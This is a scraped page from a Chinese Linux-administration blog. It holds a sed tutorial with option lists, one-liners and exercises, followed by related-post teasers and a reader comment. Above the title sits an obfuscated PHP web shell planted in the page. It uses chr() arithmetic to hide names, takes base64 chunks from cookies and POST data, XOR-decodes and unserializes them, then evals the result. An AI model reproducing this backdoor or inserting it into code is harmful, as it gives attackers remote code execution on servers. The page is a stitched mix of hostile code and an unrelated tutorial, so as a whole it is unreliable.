$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本编辑sed | Linux运维部落

文本编辑sed

*** sed:Stream EDitor  流编辑器 一次处理一行内容

sed [option]…  'script'  inputfile…
常用选项:
     -n∶使用安静(silent)模式。在一般 sed 的用法中,
        所有来自 STDIN的资料一般都会被列出到萤幕上。,加上 -n 参数后,
         则只有经过sed 特殊处理的那一行(或者动作)才会被列出来。

    -e∶直接在指令列模式上进行 sed 的动作编辑,多个动作;
    -f∶将 sed 的动作写在一个档案内, -f FILE 则可以执行 FILE 内的sed 动作;
    -r∶支持扩展正则表达式
    -i∶修改原文件,而不是由屏幕输出。
    -i.bak 先做备份 再修改源文件;得到file.bak

常用命令:
     a∶新增,a \STR,而这些字串会在新的一行出现(目前的下一行)~
     i∶插入,i \STR,而这些字串会在新的一行出现(目前的上一行);
     c∶取代,c \STR,这些字串可以取代 n1,n2 之间的行!
     d∶删除,d 后面通常不接;
     p∶列印,即将某个选择的资料印出。通常 p 会与参数 sed -n 一起运作
     w  /PATH: 保存模式匹配的行至指定文件
     =: 为模式空间中的行打印行号
 
     s∶取代,直接进行取代,通常搭配正则
          # sed 's/要替换的字符串/新的字符串/g'   1,20s/old/new/g
         替换标记:
      g: 行内全局替换    3g  每行第3个字符起
      p: 显示替换成功的行
      w /PATH/TO/SOMEFILE:将替换成功的行保存至文件中

地址定界:
    (1) 不给地址:对全文进行处理

    (2) 单地址:
         #: 指定的行
         /pattern/:被此处模式所能够匹配到的每一行
 
    (3) 地址范围:
         #,#
         #,+#
         /pat1/,/pat2/
         #,/pat1/

    (4) ~:步进
         1~2 奇数行
         2~2 偶数行

&代表前面匹配到的字符串  s/PATT/&/g
  

高级编辑命令:
     h : 把模式空间中的内容 覆盖至保持空间中
     H : 把模式空间中的内容 追加至保持空间中
     g : 把保持空间中的内容 覆盖至模式空间中
     G : 把保持空间中的内容 追加至模式空间中.
     x : 把模式空间中的内容到保持空间中的内容 互换,初始保持空间中为空
     n : 读取下一行覆盖模式空间中的行;#+1行已被读取,接下来会读#+2行;
     N : 读取下一行并追加到模式空间中的行后面,使用\n分隔;一次读2行
     d : 删除模式空间中的内容
     D: 删除模式空间中匹配的多行
  
#sed 'n;d'  显示奇数行;先输出模式空间中的行,再覆盖读取下一行,再执行d命令
#sed 'G' /etc/issue    在原有的每行后方添加一个空白行
#seq 3 | sed '1!G;h;$!d' 倒序输出
  
  
# sed '2,$d' ab           #删除 第二行到最后一行
# sed -n '$p' ab          #显示 最后一行
# sed -n '/STR/p' ab      #查询 包含STR所在所有行
# sed '1a tea\nor coffee' ab    #第一行后 增加多行,使用换行符\n
# sed '1,2c Hi' ab        #第一行到第二行 替换为Hi
# sed -i '$a bye' ab      #在原文件中最后一行输入"bye"

# sed '/\n/!G;s/\(.\)\(.*\n\)/&\2\1/;//D;s/.//' file   每行字符倒序显示
# sed -r '/\n/!G;s/(.)(.*\n)/&\2\1/;//D;s/.//' file
 
# sed  -n '$=' he /PATH   #统计行数

将数字1234567显示为1,234,567
    #echo "1234567" | sed ':a;s/\B[0-9]\{3\}\>/,&/;ta'

\w匹配每个单词,&代表前面匹配到的字符串
    #echo "i am zhou"|sed 's/\w\+/[&]/g'

#sed -n 'n;p' FILE 输出偶数行
#sed '1!G;h;$!d' FILE  倒序输出文本
#sed '$!N;$!D' FILE  输出文本最后两行
#sed '$!d' FILE     显示最后一行
#sed 'G' FILE     每行后加一空白行
#sed 'g' FILE     输出空白行,与文本相同行数
#sed '/^$/d;G'FILE 删除空行,在每行后加一空行
#sed 'n;d' FILE  输出奇数行
#sed -n '1!G;h;$p' FILE   倒序输出文本

===练习:sed

1.删除/etc/grub2.conf文件中所有以空白开头的行行首的空白字符
    #sed 's/^[[:space:]]*//g' /etc/grub2.cfg

2.删除/etc/fstab文件中所有以#开头,后面至少跟一个空白字符的行的行首的#和空白字符
    #sed 's/^#[[:space:]]*//g' /etc/fstab

3.在/root/install.log每一行行首增加#号
    #sed 's/^/#/' /root/install.log
     #sed 's/.*/#&/'

4.在/etc/fstab文件中不以#开头的行的行首增加#号
    #sed 's/^[^#].*/#&/' /etc/fstab

5.处理/etc/fstab路径,使用sed命令取出其目录名和基名
    #echo "/etc/rc.d/init.d/functions"|sed -r 's@(^/.*/)([^/]+/?)@\1\n\2@g'
    #echo "/etc/rc.d/init.d/functions"|sed -r 's@.*\<@@'    取基名

6.利用sed 取出ifconfig命令中本机的IPv4地址
    #ifconfig|sed -rn 's/.*r:((.*\.){3}.*) B.*/\1/p'
    #ifconfig|sed -rn 's/.*r:(.*) B.*/\1/p'

7.统计centos安装光盘中Package目录下的所有rpm文件的以.分隔倒数第二个字段的重复次数
    #ls /tmp/Packages/|sed -nr 's/.*\.(.*)\..*$/\1/p'|sort|uniq -c

原创文章,作者:Jasper,如若转载,请注明出处:http://www.178linux.com/31897

(0)
上一篇 2016-08-10 10:27
下一篇 2016-08-10 10:27

相关推荐

  • Linux用户和组的相关命令(二、组的相关命令)

    用户和组之间息息相关。创建用户时 ,Linux系统会默认生成一个与用户名相同的组,这个组是用户的私有组,也是用户的主组。对用户来说,主组有且只有一个,但是可以有零个或多个附加组。可以在组内设置组管理员来管理组内的用户列表,组管理员可以删除用户列表内的组员。组管理员不唯一,可以有零个或多个。 关于组及其属性和组密码及其属性的有关信息保存在/etc/group和…

    2017-07-22
  • N25期第四周作业

    1.复制/etc/skel目录为/home/tuser1,要求/home/tuser1及其内部文件的属组和其它用户均没有任何访问权限 cp -r /etc/skel /home/tuser1 chmod -R go= /home/tuser1 2.编辑/etc/group文件,添加组hadoop echo “hadoop:x:1080” >> /…

    Linux干货 2016-12-26
  • 题外:自制小linux

    自制小linux 系统 制作环境的概述 首先你的有VMware的虚拟机软件,其次安装了centos6/centos7的linux系统 而且你需要写一个复制相关命令以及依赖库文件的的脚本(主要是为了省时间,脚本写法会在后面备注)准备好以上环境,便可以制作一个小linux系统了,具体步骤如下 1)  在虚拟机设置中,在原有基础上在挂载一个20G大小的硬…

    2017-04-04
  • thinkpad e420编译安装thinkfan控制风扇

    我的笔记本是win7+linuxmint双系统,在进入linuxmint长时间运行后会明显感觉发热,我发现笔记本风扇的转数过低,导致热量不能发散出去,解决方法就是安装thinkfan风扇控制软件。 1、下载软件包 https://sourceforge.net/projects/thinkfan/ 最新版本是1.0beta2 2、编译安装 编译前确保安装过c…

    Linux干货 2017-03-09
  • ThridWeek_FirstDay

    python学习笔记整理

    Linux干货 2017-10-09
  • tomcat之-从AT到Cluster

    本文导航 一、    LAMT搭建以及部署应用        1、LAMT部署                   (1)、安装Apache     …

    2017-02-13

评论列表(1条)

  • 马哥教育
    马哥教育 2016-08-10 15:37

    文章偏相于笔记,可以尝试着写上sed的工作原理,及自己在操作过程中的遇到的错误,总之一句话,要理论结合实践